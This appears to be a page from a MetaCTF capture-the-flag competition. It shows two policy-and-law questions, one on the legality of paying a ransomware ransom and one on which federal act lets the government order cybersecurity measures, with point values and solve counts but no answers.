Please rate this problem:

[Ransomware] Covert Payments (solved by 70 teams) 150

You quickly realize that breaking the ransomware's encryption will either be impossible or require a lot of time and effort, and Baker feel like the company can't afford to wait that long for uncertain results. Together, you consider just paying the ransom so that everybody can get back to business, but you worry that doing so might violate the law. Would it?

Source: The Internet

Choices (Enter just the number of your answer):

1. Yes, U.S. law forbids the payment of ransoms under all circumstances
2. It depends on whether the encrypted information is "substantially related" to your business and whether you have a "compelling interest" in recovering it
3. It depends on who would receive the payment
4. No, it's your money and they're your systems, and the law lets you pay ransoms

Please rate this problem:

[Pentest] We command you! (solved by 83 teams) 250

What federal law (provide the name of the Act) provides the federal government the authority to order C3 to implement specific cybersecurity measures if its cybersecurity practices are found to have been unfair or deceptive to customers?

Source: The Internet

Answer with the name of the act, case does not matter

Please rate this problem:

Back to top

Made by the MetaCTF team.